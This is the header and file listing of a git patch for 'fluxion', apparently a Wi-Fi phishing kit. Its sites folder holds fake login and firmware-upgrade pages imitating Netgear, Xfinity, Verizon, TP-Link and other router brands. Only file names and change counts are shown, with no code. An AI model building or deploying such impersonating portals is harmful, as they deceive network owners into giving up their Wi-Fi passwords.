From b90b9cb8b90b57d0c618e40d06e841ab5d8505cd Mon Sep 17 00:00:00 2001 From: deltax Date: Mon, 24 Apr 2017 07:23:08 +0200 Subject: [PATCH] Update branch to the latest version --- README.md | 24 +- _config.yml | 1 + bash | 9 + changelog | 20 + LICENSE => docs/LICENSE | 0 fluxion | 3494 +-------------- add.py => install/add.py | 1 - arch-install => install/arch-install | 0 install.sh => install/install.sh | 0 remove.py => install/remove.py | 0 language/bind | 75 + language/ch | 41 + language/cz | 48 + language/en | 48 + language/esp | 52 + language/fr | 48 + language/ger | 52 + language/gr | 48 + language/it | 51 + language/ro | 51 + language/source | 75 + language/svn | 48 + language/tu | 51 + airmon => lib/airmon/airmon | 0 lib/exitmode | 101 + lib/site/index | 2217 ++++++++++ locale/en_EN.pyc | Bin 0 -> 1683 bytes sites/Login-Netgear/.DS_Store | Bin 0 -> 8196 bytes sites/Login-Netgear/css/.DS_Store | Bin 0 -> 6148 bytes sites/Login-Netgear/css/mainpage.css | 2 +- sites/Login-Netgear/css/menu.css | 30 +- sites/Login-Netgear/img/.DS_Store | Bin 0 -> 14340 bytes sites/Login-Netgear/img/Netgeargenie.png | Bin 0 -> 5763 bytes sites/Login-Netgear/img/NewNetgeargenie.png | Bin 0 -> 22674 bytes sites/Login-Netgear/img/ReadyShare.gif | Bin 0 -> 2337 bytes sites/Login-Netgear/img/Wireless.gif | Bin 0 -> 2205 bytes .../img/basic-black-button-large.gif | Bin 0 -> 2028 bytes .../Login-Netgear/img/basic-green-button.gif | Bin 0 -> 236 bytes .../img/basic-purple-button-large.gif | Bin 0 -> 1726 bytes .../img/box-header-background.gif | Bin 0 -> 1247 bytes sites/Login-Netgear/img/cancel_icon.gif | Bin 0 -> 84 bytes sites/Login-Netgear/img/cover-image_noh.gif | Bin 0 -> 821 bytes sites/Login-Netgear/img/error.png | Bin 0 -> 3865 bytes .../firmware-hint-background-long-long.gif | Bin 0 -> 198 bytes .../img/firmware-hint-background.gif | Bin 0 -> 1616 bytes sites/Login-Netgear/img/footer.gif | Bin 0 -> 1873 bytes sites/Login-Netgear/img/footer_double.gif | Bin 0 -> 1323 bytes .../img/genie_copy_wifi_setup.gif | Bin 0 -> 59365 bytes .../img/genie_disable_wifi_setup.gif | Bin 0 -> 105075 bytes sites/Login-Netgear/img/genie_download.jpg | Bin 0 -> 32456 bytes .../Login-Netgear/img/genie_help_choose_1.gif | Bin 0 -> 64889 bytes .../Login-Netgear/img/genie_help_choose_4.gif | Bin 0 -> 235493 bytes .../Login-Netgear/img/genie_learn_more_ap.jpg | Bin 0 -> 41508 bytes .../img/genie_learn_more_router.jpg | Bin 0 -> 40856 bytes sites/Login-Netgear/img/good-icon.gif | Bin 0 -> 373 bytes sites/Login-Netgear/img/gray-button.gif | Bin 0 -> 3346 bytes sites/Login-Netgear/img/help-icon.gif | Bin 0 -> 353 bytes .../Login-Netgear/img/helparrowdown-icon.gif | Bin 0 -> 277 bytes sites/Login-Netgear/img/helparrowup-icon.gif | Bin 0 -> 369 bytes sites/Login-Netgear/img/info.gif | Bin 0 -> 1487 bytes sites/Login-Netgear/img/label.png | Bin 0 -> 81926 bytes .../img/main-page-bottom-large.gif | Bin 0 -> 1850 bytes sites/Login-Netgear/img/main-page-bottom.gif | Bin 0 -> 1594 bytes .../Login-Netgear/img/page-table-bottom-2.gif | Bin 0 -> 241 bytes sites/Login-Netgear/img/page-table-bottom.gif | Bin 0 -> 450 bytes .../img/page-table-button-gray.gif | Bin 0 -> 362 bytes .../img/page-table-button-large.gif | Bin 0 -> 900 bytes sites/Login-Netgear/img/page-table-button.gif | Bin 0 -> 546 bytes sites/Login-Netgear/img/page-table-icon.gif | Bin 0 -> 150 bytes .../Login-Netgear/img/page-table-seperate.gif | Bin 0 -> 80 bytes sites/Login-Netgear/img/pvpn.jpg | Bin 0 -> 82901 bytes sites/Login-Netgear/img/qos-tab-active.gif | Bin 0 -> 1252 bytes sites/Login-Netgear/img/qos-tab-active.jpg | Bin 0 -> 1157 bytes sites/Login-Netgear/img/qos-tab-hover.jpg | Bin 0 -> 1010 bytes sites/Login-Netgear/img/qos-tab-nonactive.gif | Bin 0 -> 1052 bytes sites/Login-Netgear/img/qos-tab-nonactive.jpg | Bin 0 -> 917 bytes sites/Login-Netgear/img/refresh-icon.gif | Bin 0 -> 189 bytes sites/Login-Netgear/img/remote_app.jpg | Bin 0 -> 803 bytes .../img/roundbottomleft_table.gif | Bin 0 -> 73 bytes .../img/roundbottomright_table.gif | Bin 0 -> 72 bytes .../Login-Netgear/img/roundedcornr_239763.gif | Bin 0 -> 145 bytes .../Login-Netgear/img/roundedcornr_306126.gif | Bin 0 -> 151 bytes .../Login-Netgear/img/roundedcornr_637010.gif | Bin 0 -> 3867 bytes .../Login-Netgear/img/roundedcornr_802784.gif | Bin 0 -> 1740 bytes .../Login-Netgear/img/roundedcornr_806183.gif | Bin 0 -> 330 bytes sites/Login-Netgear/img/roundleft_apply.gif | Bin 0 -> 769 bytes sites/Login-Netgear/img/roundleft_button.gif | Bin 0 -> 1594 bytes sites/Login-Netgear/img/roundleft_grey.gif | Bin 0 -> 793 bytes sites/Login-Netgear/img/roundleft_update.gif | Bin 0 -> 1330 bytes sites/Login-Netgear/img/roundright_apply.gif | Bin 0 -> 213 bytes sites/Login-Netgear/img/roundright_button.gif | Bin 0 -> 998 bytes sites/Login-Netgear/img/roundright_grey.gif | Bin 0 -> 221 bytes sites/Login-Netgear/img/roundright_update.gif | Bin 0 -> 871 bytes .../Login-Netgear/img/roundtopleft_table.gif | Bin 0 -> 89 bytes .../Login-Netgear/img/roundtopright_table.gif | Bin 0 -> 89 bytes sites/Login-Netgear/img/search-go.gif | Bin 0 -> 274 bytes sites/Login-Netgear/img/search_button.gif | Bin 0 -> 319 bytes .../Login-Netgear/img/search_button_long.gif | Bin 0 -> 442 bytes .../img/search_button_middle.gif | Bin 0 -> 366 bytes sites/Login-Netgear/img/sel_win7.gif | Bin 0 -> 1520 bytes sites/Login-Netgear/img/subMenuActive.png | Bin 0 -> 793 bytes .../Login-Netgear/img/subMenuActiveLarge.png | Bin 0 -> 1080 bytes sites/Login-Netgear/img/subhead-bottom.gif | Bin 0 -> 320 bytes sites/Login-Netgear/img/subhead-top.gif | Bin 0 -> 324 bytes .../Login-Netgear/img/subhead2-background.jpg | Bin 0 -> 9041 bytes .../img/subhead2-background_noh.jpg | Bin 0 -> 5385 bytes sites/Login-Netgear/img/subhead2-bottom.gif | Bin 0 -> 2308 bytes sites/Login-Netgear/img/subhead2-top.gif | Bin 0 -> 2757 bytes sites/Login-Netgear/img/subhead2-top_noh.gif | Bin 0 -> 1035 bytes sites/Login-Netgear/img/tab-active.gif | Bin 0 -> 1014 bytes sites/Login-Netgear/img/tab-nonactive.gif | Bin 0 -> 1014 bytes sites/Login-Netgear/img/tabs.gif | Bin 0 -> 2318 bytes sites/Login-Netgear/img/title.gif | Bin 0 -> 317 bytes sites/Login-Netgear/img/wait.gif | Bin 0 -> 6337 bytes sites/Login-Netgear/img/warning-icon.gif | Bin 0 -> 1036 bytes sites/Login-Netgear/img/warning.png | Bin 0 -> 1213 bytes sites/Login-Netgear/img/warrow.jpg | Bin 0 -> 361 bytes sites/Login-Netgear/index.htm | 71 + sites/Login-Netgear/upgrading.html | 44 + sites/Login-Xfinity/.DS_Store | Bin 0 -> 8196 bytes sites/Login-Xfinity/Xfinity_files/.DS_Store | Bin 0 -> 8196 bytes sites/Login-Xfinity/Xfinity_files/base.js | 2656 +++++++++++ sites/Login-Xfinity/Xfinity_files/base_95x.js | 829 ++++ .../Xfinity_files/common-min.css | 32 + .../Login-Xfinity/Xfinity_files/common-min.js | 16 + .../Login-Xfinity/Xfinity_files/img/.DS_Store | Bin 0 -> 6148 bytes .../Xfinity_files/img/distractor.gif | Bin 0 -> 2104 bytes .../Login-Xfinity/Xfinity_files/img/label.jpg | Bin 0 -> 59395 bytes .../Xfinity_files/img/logo_xfinity.png | Bin 0 -> 733 bytes .../Xfinity_files/jquery-1.4.2.min.js | 246 ++ .../jquery-ui-1.8.5.custom.min.js | 778 ++++ sites/Login-Xfinity/Xfinity_files/json2.js | 482 ++ sites/Login-Xfinity/Xfinity_files/mib.js | 3917 +++++++++++++++++ sites/Login-Xfinity/Xfinity_files/mib2.js | 313 ++ sites/Login-Xfinity/Xfinity_files/print.css | 50 + .../Login-Xfinity/Xfinity_files/underscore.js | 716 +++ sites/Login-Xfinity/Xfinity_files/w | 1 + sites/Login-Xfinity/index.html | 242 + sites/Login-Xfinity/upgrading.html | 238 + sites/{ARRIS-ESP => arris_esp}/ayuda.htm | 0 sites/{ARRIS-ESP => arris_esp}/background.png | Bin sites/{ARRIS-ESP => arris_esp}/error.html | 0 sites/{ARRIS-ESP => arris_esp}/final.html | 0 sites/{ARRIS-ESP => arris_esp}/house.png | Bin sites/{ARRIS-ESP => arris_esp}/house1.png | Bin sites/{ARRIS-ESP => arris_esp}/index.htm | 0 sites/{ARRIS-ESP => arris_esp}/info.css | 0 sites/{ARRIS-ESP => arris_esp}/info.html | 0 sites/{ARRIS-ESP => arris_esp}/info2.css | 0 sites/{BELKIN-ENG => belkin_eng}/ayuda.htm | 0 .../{BELKIN-ENG => belkin_eng}/background.png | Bin sites/{BELKIN-ENG => belkin_eng}/error.html | 0 sites/{BELKIN-ENG => belkin_eng}/final.html | 0 sites/{BELKIN-ENG => belkin_eng}/house.png | Bin sites/{BELKIN-ENG => belkin_eng}/house1.png | Bin sites/{BELKIN-ENG => belkin_eng}/index.htm | 0 sites/{BELKIN-ENG => belkin_eng}/info.css | 0 sites/{BELKIN-ENG => belkin_eng}/info.html | 0 sites/{BELKIN-ENG => belkin_eng}/info2.css | 0 sites/{FRITZBOX_DE => fritzbox_de}/bg.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/error.html | 0 sites/{FRITZBOX_DE => fritzbox_de}/final.html | 0 sites/{FRITZBOX_DE => fritzbox_de}/header.png | Bin .../header_small.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/icon0.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/icon1.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/icon2.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/icon3.png | Bin sites/{FRITZBOX_DE => fritzbox_de}/index.html | 0 sites/{FRITZBOX_ENG => fritzbox_eng}/bg.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/error.html | 0 .../{FRITZBOX_ENG => fritzbox_eng}/final.html | 0 .../{FRITZBOX_ENG => fritzbox_eng}/header.png | Bin .../header_small.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/icon0.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/icon1.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/icon2.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/icon3.png | Bin .../{FRITZBOX_ENG => fritzbox_eng}/index.html | 0 sites/{GENEXIS_DE => genenix_de}/error.html | 0 sites/{GENEXIS_DE => genenix_de}/final.html | 0 .../genexis-logo-small.jpg | Bin sites/{GENEXIS_DE => genenix_de}/index.html | 0 sites/{GENEXIS_DE => genenix_de}/spinner.gif | Bin sites/hts-cache/doit.log | 8 + sites/hts-cache/new.lst | 7 + sites/hts-cache/new.txt | 6 + sites/hts-cache/new.zip | Bin 0 -> 6630 bytes sites/{HUAWEI-ENG => huawei_eng}/ayuda.htm | 0 .../{HUAWEI-ENG => huawei_eng}/background.png | Bin sites/{HUAWEI-ENG => huawei_eng}/error.html | 0 sites/{HUAWEI-ENG => huawei_eng}/final.html | 0 sites/{HUAWEI-ENG => huawei_eng}/house.png | Bin sites/{HUAWEI-ENG => huawei_eng}/house1.png | Bin sites/{HUAWEI-ENG => huawei_eng}/index.htm | 0 sites/{HUAWEI-ENG => huawei_eng}/info.css | 0 sites/{HUAWEI-ENG => huawei_eng}/info.html | 0 sites/{HUAWEI-ENG => huawei_eng}/info2.css | 0 sites/{KPN_NL => kpn_nl}/bg.png | Bin sites/{KPN_NL => kpn_nl}/error.html | 0 sites/{KPN_NL => kpn_nl}/final.html | 0 sites/{KPN_NL => kpn_nl}/index.html | 0 sites/{KPN_NL => kpn_nl}/logo.png | Bin .../Login-Netgear.zip | Bin .../Login-Netgear.zip_base64.txt | 0 sites/{Login-Netgear => netgear}/adv-wifi.htm | 0 sites/netgear/css/MNUAccess.css | 27 + sites/netgear/css/button.css | 175 + sites/netgear/css/help.css | 67 + sites/netgear/css/jScrollPane.css | 64 + sites/netgear/css/jquery.flexbox.css | 83 + sites/netgear/css/jquery.jscrollpane.css | 120 + sites/netgear/css/mainpage.css | 182 + sites/netgear/css/menu.css | 508 +++ sites/netgear/css/qos_tabs.css | 159 + sites/netgear/css/scrollbar.css | 123 + sites/netgear/css/standalone.css | 12 + sites/netgear/css/table.css | 695 +++ sites/netgear/css/table_noh.css | 717 +++ sites/netgear/css/tabs.css | 159 + sites/netgear/img/AP_Mode_R7000.png | Bin 0 -> 154589 bytes sites/netgear/img/add_icon.gif | Bin 0 -> 58 bytes sites/netgear/img/apply_icon.gif | Bin 0 -> 82 bytes sites/netgear/img/barrow.gif | Bin 0 -> 854 bytes sites/netgear/img/barrow.jpg | Bin 0 -> 969 bytes sites/netgear/img/barrow_down.jpg | Bin 0 -> 811 bytes .../netgear/img/barrow_down_nobackground.gif | Bin 0 -> 855 bytes sites/netgear/img/barrow_nobackground.gif | Bin 0 -> 857 bytes sites/netgear/img/basic-gray-button-large.gif | Bin 0 -> 2059 bytes sites/netgear/img/basic-purple-button.gif | Bin 0 -> 3181 bytes sites/netgear/img/basic-white-button.gif | Bin 0 -> 2291 bytes .../img/box-header-background-large.gif | Bin 0 -> 2631 bytes sites/netgear/img/cover-image.gif | Bin 0 -> 813 bytes sites/netgear/img/edit_icon.gif | Bin 0 -> 60 bytes sites/netgear/img/error-icon.gif | Bin 0 -> 982 bytes .../img/firmware-hint-background-long.gif | Bin 0 -> 192 bytes .../img/firmware-hint-background-short.gif | Bin 0 -> 1550 bytes sites/{NETGEAR-ENG => netgear_eng}/ayuda.htm | 0 .../background.png | Bin sites/{NETGEAR-ENG => netgear_eng}/error.html | 0 sites/{NETGEAR-ENG => netgear_eng}/final.html | 0 sites/{NETGEAR-ENG => netgear_eng}/house.png | Bin sites/{NETGEAR-ENG => netgear_eng}/house1.png | Bin sites/{NETGEAR-ENG => netgear_eng}/index.htm | 0 sites/{NETGEAR-ENG => netgear_eng}/info.css | 0 sites/{NETGEAR-ENG => netgear_eng}/info.html | 0 sites/{NETGEAR-ENG => netgear_eng}/info2.css | 0 sites/{NETGEAR-ESP => netgear_esp}/ayuda.htm | 0 .../background.png | Bin sites/{NETGEAR-ESP => netgear_esp}/error.html | 0 sites/{NETGEAR-ESP => netgear_esp}/final.html | 0 sites/{NETGEAR-ESP => netgear_esp}/house.png | Bin sites/{NETGEAR-ESP => netgear_esp}/house1.png | Bin sites/{NETGEAR-ESP => netgear_esp}/index.htm | 0 sites/{NETGEAR-ESP => netgear_esp}/info.css | 0 sites/{NETGEAR-ESP => netgear_esp}/info.html | 0 sites/{NETGEAR-ESP => netgear_esp}/info2.css | 0 sites/neutra/ara | 11 + sites/neutra/bg | 12 + sites/neutra/cn | 11 + sites/neutra/cz | 12 + sites/neutra/dan | 12 + sites/neutra/en | 10 + sites/neutra/esp | 10 + sites/neutra/fr | 10 + sites/neutra/ger | 10 + sites/neutra/gr | 11 + sites/neutra/he | 12 + sites/neutra/hu | 10 + sites/neutra/id | 11 + sites/neutra/it | 10 + sites/neutra/nl | 11 + sites/neutra/no | 11 + sites/neutra/pl | 11 + sites/neutra/por | 11 + sites/neutra/ro | 12 + sites/neutra/rus | 11 + sites/neutra/srb | 11 + sites/neutra/svn | 10 + sites/neutra/th | 11 + sites/neutra/tr | 11 + .../Upgrade-TP-LINK.zip | Bin .../Upgrade-TP-LINK.zip_base64.txt | 0 .../bootstrap.min.css | 0 .../bootstrap.min.js | 0 sites/{Upgrade-TP-LINK => tplink}/error.html | 0 sites/{Upgrade-TP-LINK => tplink}/final.html | 0 sites/{Upgrade-TP-LINK => tplink}/index.html | 0 .../{Upgrade-TP-LINK => tplink}/jquery.min.js | 0 .../Login-Verizon.zip | Bin .../Login-Verizon.zip_base64.txt | 0 sites/{Login-Verizon => verizon}/Verizon.html | 0 .../Verizon_files/actiontec_btm_bar.gif | Bin .../Verizon_files/actiontec_lt_btm_corner.gif | Bin .../Verizon_files/actiontec_lt_col.gif | Bin .../Verizon_files/actiontec_lt_top_corner.gif | Bin .../Verizon_files/actiontec_rt_btm_corner.gif | Bin .../Verizon_files/actiontec_rt_col.gif | Bin .../Verizon_files/actiontec_rt_top_corner.gif | Bin .../Verizon_files/actiontec_top_bar.gif | Bin .../Verizon_files/empty.gif | Bin .../Verizon_files/vz_logo.gif | Bin .../{VODAFONE-ESP => vodafone_esp}/ayuda.htm | 0 .../background.png | Bin .../{VODAFONE-ESP => vodafone_esp}/error.html | 0 .../{VODAFONE-ESP => vodafone_esp}/final.html | 0 .../{VODAFONE-ESP => vodafone_esp}/house.png | Bin .../{VODAFONE-ESP => vodafone_esp}/house1.png | Bin .../{VODAFONE-ESP => vodafone_esp}/index.htm | 0 sites/{VODAFONE-ESP => vodafone_esp}/info.css | 0 .../{VODAFONE-ESP => vodafone_esp}/info.html | 0 .../{VODAFONE-ESP => vodafone_esp}/info2.css | 0 .../Ziggo-logo.svg | 0 sites/{ZIGGO2016_NL => ziggo2_nl}/error.html | 0 sites/{ZIGGO2016_NL => ziggo2_nl}/final.html | 0 .../generic-mobemBG.jpg | Bin sites/{ZIGGO2016_NL => ziggo2_nl}/index.html | 0 .../white-transparent90.png | Bin .../Ziggo-wifi-modem-header-1.gif | Bin .../background_ziggo_blue_talks.gif | Bin sites/{ZIGGO_NL => ziggo_nl}/bg_invoer.png | Bin sites/{ZIGGO_NL => ziggo_nl}/btn_left.png | Bin sites/{ZIGGO_NL => ziggo_nl}/btn_right.png | Bin sites/{ZIGGO_NL => ziggo_nl}/error.html | 0 sites/{ZIGGO_NL => ziggo_nl}/final.html | 0 sites/{ZIGGO_NL => ziggo_nl}/index.html | 0 .../portalWindow_top_bottom.png | Bin sites/{ZIGGO_NL => ziggo_nl}/table_bottom.png | Bin sites/{ZIGGO_NL => ziggo_nl}/table_top.png | Bin 329 files changed, 17213 insertions(+), 3379 deletions(-) create mode 100644 _config.yml create mode 100644 bash create mode 100644 changelog rename LICENSE => docs/LICENSE (100%) rename add.py => install/add.py (77%) rename arch-install => install/arch-install (100%) rename install.sh => install/install.sh (100%) rename remove.py => install/remove.py (100%) create mode 100644 language/bind create mode 100644 language/ch create mode 100644 language/cz create mode 100644 language/en create mode 100644 language/esp create mode 100644 language/fr create mode 100644 language/ger create mode 100644 language/gr create mode 100644 language/it create mode 100644 language/ro create mode 100644 language/source create mode 100644 language/svn create mode 100644 language/tu rename airmon => lib/airmon/airmon (100%) create mode 100644 lib/exitmode create mode 100644 lib/site/index create mode 100644 locale/en_EN.pyc create mode 100644 sites/Login-Netgear/.DS_Store create mode 100644 sites/Login-Netgear/css/.DS_Store create mode 100644 sites/Login-Netgear/img/.DS_Store create mode 100644 sites/Login-Netgear/img/Netgeargenie.png create mode 100644 sites/Login-Netgear/img/NewNetgeargenie.png create mode 100644 sites/Login-Netgear/img/ReadyShare.gif create mode 100644 sites/Login-Netgear/img/Wireless.gif create mode 100644 sites/Login-Netgear/img/basic-black-button-large.gif create mode 100644 sites/Login-Netgear/img/basic-green-button.gif create mode 100644 sites/Login-Netgear/img/basic-purple-button-large.gif create mode 100644 sites/Login-Netgear/img/box-header-background.gif create mode 100644 sites/Login-Netgear/img/cancel_icon.gif create mode 100644 sites/Login-Netgear/img/cover-image_noh.gif create mode 100644 sites/Login-Netgear/img/error.png create mode 100644 sites/Login-Netgear/img/firmware-hint-background-long-long.gif create mode 100644 sites/Login-Netgear/img/firmware-hint-background.gif create mode 100644 sites/Login-Netgear/img/footer.gif create mode 100644 sites/Login-Netgear/img/footer_double.gif create mode 100644 sites/Login-Netgear/img/genie_copy_wifi_setup.gif create mode 100644 sites/Login-Netgear/img/genie_disable_wifi_setup.gif create mode 100644 sites/Login-Netgear/img/genie_download.jpg create mode 100644 sites/Login-Netgear/img/genie_help_choose_1.gif create mode 100644 sites/Login-Netgear/img/genie_help_choose_4.gif create mode 100644 sites/Login-Netgear/img/genie_learn_more_ap.jpg create mode 100644 sites/Login-Netgear/img/genie_learn_more_router.jpg create mode 100644 sites/Login-Netgear/img/good-icon.gif create mode 100644 sites/Login-Netgear/img/gray-button.gif create mode 100644 sites/Login-Netgear/img/help-icon.gif create mode 100644 sites/Login-Netgear/img/helparrowdown-icon.gif create mode 100644 sites/Login-Netgear/img/helparrowup-icon.gif create mode 100644 sites/Login-Netgear/img/info.gif create mode 100644 sites/Login-Netgear/img/label.png create mode 100644 sites/Login-Netgear/img/main-page-bottom-large.gif create mode 100644 sites/Login-Netgear/img/main-page-bottom.gif create mode 100644 sites/Login-Netgear/img/page-table-bottom-2.gif create mode 100644 sites/Login-Netgear/img/page-table-bottom.gif create mode 100644 sites/Login-Netgear/img/page-table-button-gray.gif create mode 100644 sites/Login-Netgear/img/page-table-button-large.gif create mode 100644 sites/Login-Netgear/img/page-table-button.gif create mode 100644 sites/Login-Netgear/img/page-table-icon.gif create mode 100644 sites/Login-Netgear/img/page-table-seperate.gif create mode 100644 sites/Login-Netgear/img/pvpn.jpg create mode 100644 sites/Login-Netgear/img/qos-tab-active.gif create mode 100644 sites/Login-Netgear/img/qos-tab-active.jpg create mode 100644 sites/Login-Netgear/img/qos-tab-hover.jpg create mode 100644 sites/Login-Netgear/img/qos-tab-nonactive.gif create mode 100644 sites/Login-Netgear/img/qos-tab-nonactive.jpg create mode 100644 sites/Login-Netgear/img/refresh-icon.gif create mode 100644 sites/Login-Netgear/img/remote_app.jpg create mode 100644 sites/Login-Netgear/img/roundbottomleft_table.gif create mode 100644 sites/Login-Netgear/img/roundbottomright_table.gif create mode 100644 sites/Login-Netgear/img/roundedcornr_239763.gif create mode 100644 sites/Login-Netgear/img/roundedcornr_306126.gif create mode 100644 sites/Login-Netgear/img/roundedcornr_637010.gif create mode 100644 sites/Login-Netgear/img/roundedcornr_802784.gif create mode 100644 sites/Login-Netgear/img/roundedcornr_806183.gif create mode 100644 sites/Login-Netgear/img/roundleft_apply.gif create mode 100644 sites/Login-Netgear/img/roundleft_button.gif create mode 100644 sites/Login-Netgear/img/roundleft_grey.gif create mode 100644 sites/Login-Netgear/img/roundleft_update.gif create mode 100644 sites/Login-Netgear/img/roundright_apply.gif create mode 100644 sites/Login-Netgear/img/roundright_button.gif create mode 100644 sites/Login-Netgear/img/roundright_grey.gif create mode 100644 sites/Login-Netgear/img/roundright_update.gif create mode 100644 sites/Login-Netgear/img/roundtopleft_table.gif create mode 100644 sites/Login-Netgear/img/roundtopright_table.gif create mode 100644 sites/Login-Netgear/img/search-go.gif create mode 100644 sites/Login-Netgear/img/search_button.gif create mode 100644 sites/Login-Netgear/img/search_button_long.gif create mode 100644 sites/Login-Netgear/img/search_button_middle.gif create mode 100644 sites/Login-Netgear/img/sel_win7.gif create mode 100644 sites/Login-Netgear/img/subMenuActive.png create mode 100644 sites/Login-Netgear/img/subMenuActiveLarge.png create mode 100644 sites/Login-Netgear/img/subhead-bottom.gif create mode 100644 sites/Login-Netgear/img/subhead-top.gif create mode 100644 sites/Login-Netgear/img/subhead2-background.jpg create mode 100644 sites/Login-Netgear/img/subhead2-background_noh.jpg create mode 100644 sites/Login-Netgear/img/subhead2-bottom.gif create mode 100644 sites/Login-Netgear/img/subhead2-top.gif create mode 100644 sites/Login-Netgear/img/subhead2-top_noh.gif create mode 100644 sites/Login-Netgear/img/tab-active.gif create mode 100644 sites/Login-Netgear/img/tab-nonactive.gif create mode 100644 sites/Login-Netgear/img/tabs.gif create mode 100644 sites/Login-Netgear/img/title.gif create mode 100644 sites/Login-Netgear/img/wait.gif create mode 100644 sites/Login-Netgear/img/warning-icon.gif create mode 100644 sites/Login-Netgear/img/warning.png create mode 100644 sites/Login-Netgear/img/warrow.jpg create mode 100644 sites/Login-Netgear/index.htm create mode 100644 sites/Login-Netgear/upgrading.html create mode 100644 sites/Login-Xfinity/.DS_Store create mode 100644 sites/Login-Xfinity/Xfinity_files/.DS_Store create mode 100755 sites/Login-Xfinity/Xfinity_files/base.js create mode 100755 sites/Login-Xfinity/Xfinity_files/base_95x.js create mode 100755 sites/Login-Xfinity/Xfinity_files/common-min.css create mode 100755 sites/Login-Xfinity/Xfinity_files/common-min.js create mode 100644 sites/Login-Xfinity/Xfinity_files/img/.DS_Store create mode 100644 sites/Login-Xfinity/Xfinity_files/img/distractor.gif create mode 100644 sites/Login-Xfinity/Xfinity_files/img/label.jpg create mode 100644 sites/Login-Xfinity/Xfinity_files/img/logo_xfinity.png create mode 100755 sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js create mode 100755 sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js create mode 100755 sites/Login-Xfinity/Xfinity_files/json2.js create mode 100755 sites/Login-Xfinity/Xfinity_files/mib.js create mode 100755 sites/Login-Xfinity/Xfinity_files/mib2.js create mode 100755 sites/Login-Xfinity/Xfinity_files/print.css create mode 100755 sites/Login-Xfinity/Xfinity_files/underscore.js create mode 100755 sites/Login-Xfinity/Xfinity_files/w create mode 100755 sites/Login-Xfinity/index.html create mode 100755 sites/Login-Xfinity/upgrading.html rename sites/{ARRIS-ESP => arris_esp}/ayuda.htm (100%) rename sites/{ARRIS-ESP => arris_esp}/background.png (100%) rename sites/{ARRIS-ESP => arris_esp}/error.html (100%) rename sites/{ARRIS-ESP => arris_esp}/final.html (100%) rename sites/{ARRIS-ESP => arris_esp}/house.png (100%) rename sites/{ARRIS-ESP => arris_esp}/house1.png (100%) rename sites/{ARRIS-ESP => arris_esp}/index.htm (100%) rename sites/{ARRIS-ESP => arris_esp}/info.css (100%) rename sites/{ARRIS-ESP => arris_esp}/info.html (100%) rename sites/{ARRIS-ESP => arris_esp}/info2.css (100%) rename sites/{BELKIN-ENG => belkin_eng}/ayuda.htm (100%) rename sites/{BELKIN-ENG => belkin_eng}/background.png (100%) rename sites/{BELKIN-ENG => belkin_eng}/error.html (100%) rename sites/{BELKIN-ENG => belkin_eng}/final.html (100%) rename sites/{BELKIN-ENG => belkin_eng}/house.png (100%) rename sites/{BELKIN-ENG => belkin_eng}/house1.png (100%) rename sites/{BELKIN-ENG => belkin_eng}/index.htm (100%) rename sites/{BELKIN-ENG => belkin_eng}/info.css (100%) rename sites/{BELKIN-ENG => belkin_eng}/info.html (100%) rename sites/{BELKIN-ENG => belkin_eng}/info2.css (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/bg.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/error.html (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/final.html (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/header.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/header_small.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/icon0.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/icon1.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/icon2.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/icon3.png (100%) rename sites/{FRITZBOX_DE => fritzbox_de}/index.html (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/bg.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/error.html (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/final.html (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/header.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/header_small.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/icon0.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/icon1.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/icon2.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/icon3.png (100%) rename sites/{FRITZBOX_ENG => fritzbox_eng}/index.html (100%) rename sites/{GENEXIS_DE => genenix_de}/error.html (100%) rename sites/{GENEXIS_DE => genenix_de}/final.html (100%) rename sites/{GENEXIS_DE => genenix_de}/genexis-logo-small.jpg (100%) rename sites/{GENEXIS_DE => genenix_de}/index.html (100%) rename sites/{GENEXIS_DE => genenix_de}/spinner.gif (100%) create mode 100644 sites/hts-cache/doit.log create mode 100644 sites/hts-cache/new.lst create mode 100644 sites/hts-cache/new.txt create mode 100644 sites/hts-cache/new.zip rename sites/{HUAWEI-ENG => huawei_eng}/ayuda.htm (100%) rename sites/{HUAWEI-ENG => huawei_eng}/background.png (100%) rename sites/{HUAWEI-ENG => huawei_eng}/error.html (100%) rename sites/{HUAWEI-ENG => huawei_eng}/final.html (100%) rename sites/{HUAWEI-ENG => huawei_eng}/house.png (100%) rename sites/{HUAWEI-ENG => huawei_eng}/house1.png (100%) rename sites/{HUAWEI-ENG => huawei_eng}/index.htm (100%) rename sites/{HUAWEI-ENG => huawei_eng}/info.css (100%) rename sites/{HUAWEI-ENG => huawei_eng}/info.html (100%) rename sites/{HUAWEI-ENG => huawei_eng}/info2.css (100%) rename sites/{KPN_NL => kpn_nl}/bg.png (100%) rename sites/{KPN_NL => kpn_nl}/error.html (100%) rename sites/{KPN_NL => kpn_nl}/final.html (100%) rename sites/{KPN_NL => kpn_nl}/index.html (100%) rename sites/{KPN_NL => kpn_nl}/logo.png (100%) rename sites/{Login-Netgear => netgear}/Login-Netgear.zip (100%) rename sites/{Login-Netgear => netgear}/Login-Netgear.zip_base64.txt (100%) 